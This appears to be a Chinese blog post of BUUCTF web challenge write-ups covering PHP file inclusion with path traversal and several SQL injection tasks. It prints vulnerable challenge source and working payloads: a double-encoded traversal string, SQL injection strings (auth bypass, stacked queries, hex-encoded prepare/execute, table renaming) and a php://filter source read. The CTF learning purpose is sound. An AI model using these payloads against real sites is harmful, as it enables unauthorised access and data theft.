目录

BUUCTF web记录

0x00 [HCTF 2018]WarmUp

题目链接

引入眼帘的是个滑稽🤔

/posts/2021-02-26-buuctf-web%E8%AE%B0%E5%BD%95/image-20210226211946197.png
image-20210226211946197

F12看源码,发现页面注释里提示源码在source.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// source.php
<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

source.php中还可以看到hint.php也包含一些信息。

1
2
3
4
5
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
    echo "you can't see it";
    return false;
}

查看hint.php,结果显示flag内容在ffffllllaaaagggg。直接访问该文件,发现无法访问(当然没这么简单了)

/posts/2021-02-26-buuctf-web%E8%AE%B0%E5%BD%95/image-20210226212604043.png
image-20210226212604043

再继续分析source.php,get的file参数要非空、为字符串且通过checkFile()函数判断,才能进入到include逻辑。

1
2
3
4
5
6
7
8
9
if (! empty($_REQUEST['file'])
    && is_string($_REQUEST['file'])
    && emmm::checkFile($_REQUEST['file'])
   ) {
    include $_REQUEST['file'];
    exit;
} else {
    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}  

那就来看checkFile()函数,该函数返回true的地方一共有3处。

首先定义了一个白名单。请求的文件名在白名单中即返回true,对应于之前提到的source.phphint.php。显然这个逻辑无法被用来读取flag

1
2
3
4
5
6
7
8
9
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
    echo "you can't see it";
    return false;
}

if (in_array($page, $whitelist)) {
    return true;
}

第二个逻辑中,参数首先被根据?字符进行截取,截取后的内容如果在白名单中则返回true。这个也无法被用来读取flag

相关函数:mb_strpos()mb_substr()

1
2
3
4
5
6
7
8
$_page = mb_substr(
    $page,
    0,
    mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
	return true;
}

再看最后一个返回true的逻辑。发现其先将get请求中的file参数进行一次URL解码,然后再去截取?前的内容,判断是否在白名单内。同时,php在读取$_REQUEST['file']参数的时候,就会进行一次URL解码。所以,我们只需要在地址中加入?经过两次URL编码之后的内容%253f即可通过函数验证,并且使得参数在经过一次URL解码之后不含?,也就不会被当作其他get请求的参数。

1
2
3
4
5
6
7
8
9
$_page = urldecode($page);
$_page = mb_substr(
    $_page,
    0,
	mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
	return true;
}

所以,可以构造payload。逐级添加../,找到ffffllllaaaagggg文件路径所在。

1
?file=source.php%253f/../../../../ffffllllaaaagggg

/posts/2021-02-26-buuctf-web%E8%AE%B0%E5%BD%95/image-20210226210928641.png
image-20210226210928641

最后结论:我一开始看到warmup几个大字,还以为直接F12,然后flag分为几段放在源码里…🤣🤣,pico入门题真是害人不浅啊。

0x01 [极客大挑战 2019]EasySQL

题目链接

简单的注入,用户名输入admin' or '1'='1' #,密码随便输即可。

/posts/2021-02-26-buuctf-web%E8%AE%B0%E5%BD%95/image-20210227161029874.png
image-20210227161029874

但是把#换成--就不行,暂时还不知道为什么。

登录之后拿到flag

/posts/2021-02-26-buuctf-web%E8%AE%B0%E5%BD%95/image-20210227161238808.png
image-20210227161238808

0x02 [强网杯 2019]随便注

网页提供了一个输入框,点击提交将会发出get请求,参数为inject=[输入的内容]。看源码,注释里提示“sqlmap是没有灵魂的”。

我的尝试:

提交admin' or '1'='1' #,结果页面上显示这些东西。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
array(2) {
 [0]=>
 string(1) "1"
 [1]=>
 string(7) "hahahah"
}

array(2) {
 [0]=>
 string(1) "2"
 [1]=>
 string(12) "miaomiaomiao"
}

array(2) {
 [0]=>
 string(6) "114514"
 [1]=>
 string(2) "ys"
}

显然,这应该是查询语句所作用的表的所有记录,一共有3条。

为了找到flag,使用堆叠注入,输入1';show tables;#,查询所有表名。发现存在words1919810931114514两个表。

/posts/2021-02-26-buuctf-web%E8%AE%B0%E5%BD%95/image-20210227195602210.png
image1

再使用desc查看两个表的结构,输入1';desc words1';desc 1919810931114514;# 。这里有个小trick,使用纯数字表名 要在表名前后加上 ``(这里由于markdown无法转义的问题,所以没有加入到行内代码块中,实际输入要在数字前后加上)。可以看到flag内容位于1919810931114514表中。

/posts/2021-02-26-buuctf-web%E8%AE%B0%E5%BD%95/image-20210227202522051.png
image2

/posts/2021-02-26-buuctf-web%E8%AE%B0%E5%BD%95/image-20210227202426166.png
image3

接下来要想办法查询到该表中的flag内容。直接堆叠注入查询语句,会发现select等关键字都被过滤掉了。

/posts/2021-02-26-buuctf-web%E8%AE%B0%E5%BD%95/image-20210227202949683.png
image-20210227202949683

于是有两种思路

思路1

使用MySql的prepare功能,这是一个类似于计划任务的功能。将select查询语句转换为16进制,然后prepare…from…来执行该语句。

1
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

思路2

直接修改表的名字,rename/alter等关键字是没有被筛选的,所以可以被输入执行。先将words表名改为其他名字,再将1919810931114514表名改为words。因为当前页面的查询对象就是表words,所以可以直接进行查询。

1
2
1';rename table `words` to `123`;rename table `1919810931114514` to `words`;alter table `words` add id int(10);#
1' or 1=1 #

0x03 [极客大挑战 2019]Havefun

题目链接

界面还挺好看的

/posts/2021-02-26-buuctf-web%E8%AE%B0%E5%BD%95/image-20210227205837574.png
image-20210227205837574

源码中有这么一段注释

image-20210227210040644

于是尝试get请求并且cat参数为dog,结果就出flag了…😓

/posts/2021-02-26-buuctf-web%E8%AE%B0%E5%BD%95/image-20210227210208421.png
image-20210227210208421

0x04 [SUCTF 2019]EasySQL

题目链接

输入1';show tables;#,没反应,输入1;show tables;#,查询到有一个Flag表。

image-20210228202256993

接下来肯定就是想办法获取Flag表中的内容了。

直接输入1;select * from Flag;,发现不让你查询,那肯定是过滤了select等关键字。

接下来就是学习别人的wp了😅。

据说这题比赛的时候给了源码,查询语句为

1
select $_GET['query'] || flag from Flag

于是,可以输入*,1,使得被执行的查询语句为select *,1||flag from Flag,也就是select *,1 from flag。从而获取flag内容。

收获:注入的时候要先尝试带和不带'的输入,判断是数字型还是字符型注入。

0x05 [ACTF2020 新生赛]Include

题目链接

这题和下一题都是挺有意思的题:)

首先进入题目给出的地址,看到一个超链接tips,点击之后看到提示file=flag.php。但是我们只能看到提示文字,并不能看到flag内容。

/posts/2021-02-26-buuctf-web%E8%AE%B0%E5%BD%95/image-20210301225314513.png
image-20210301225314513

这个时候就需要知道有个东西叫做php filter,利用php://filter伪协议,我们可以获取flag.php文件的全部内容。访问/?file=php://filter/convert.base64-encode/resource=flag.php

/posts/2021-02-26-buuctf-web%E8%AE%B0%E5%BD%95/image-20210301225641520.png
image-20210301225641520

将内容进行base64解码,于是得到了藏在php文件注释中的flag。

/posts/2021-02-26-buuctf-web%E8%AE%B0%E5%BD%95/image-20210301225743179.png
image-20210301225743179

0x06 [极客大挑战 2019]Secret File

题目链接

进入网页,啥也没有。检查源代码,发现了一个隐藏的链接。

/posts/2021-02-26-buuctf-web%E8%AE%B0%E5%BD%95/image-20210301230157746.png
image-20210301230157746

/posts/2021-02-26-buuctf-web%E8%AE%B0%E5%BD%95/image-20210301230257773.png
image-20210301230257773

访问/Archive_room.php,很明显能做的只有点击secret链接。

/posts/2021-02-26-buuctf-web%E8%AE%B0%E5%BD%95/image-20210301230542428.png
image-20210301230542428

查看secret对应的链接,为/action.php,但是点击之后的结果却是/end.php

/posts/2021-02-26-buuctf-web%E8%AE%B0%E5%BD%95/image-20210301230700409.png

/posts/2021-02-26-buuctf-web%E8%AE%B0%E5%BD%95/image-20210301230805292.png
image-20210301230805292

于是,需要用到Burpsuite,拦截一下对action.php的访问。发现提示信息secr3t.php

/posts/2021-02-26-buuctf-web%E8%AE%B0%E5%BD%95/image-20210301223830280.png
image-20210301223830280

发现secr3t.php提供了文件包含服务,并且提示你flag在flag.php中。

/posts/2021-02-26-buuctf-web%E8%AE%B0%E5%BD%95/image-20210301230956851.png
image-20210301230956851

了解了上一题的套路之后,应该就能想到,直接获取/secr3t.php?file=flag.php,应该是不会直接给你flag的😁。

/posts/2021-02-26-buuctf-web%E8%AE%B0%E5%BD%95/image-20210301231222300.png
image-20210301231222300

于是,又是和上一题一样的套路,使用filter,获取flag.php内容,然后再解码。

/posts/2021-02-26-buuctf-web%E8%AE%B0%E5%BD%95/image-20210301231417059.png
image-20210301231417059

0x07 [极客大挑战 2019]LoveSQL

题目链接

还是不太会…

参考wp:

只能记录一下自己接触了啥新概念吧

  • 测试注入类型
  • 使用1' order by x#,测试不同x的值,根据什么时候报错来确定表的列数
  • union联合查询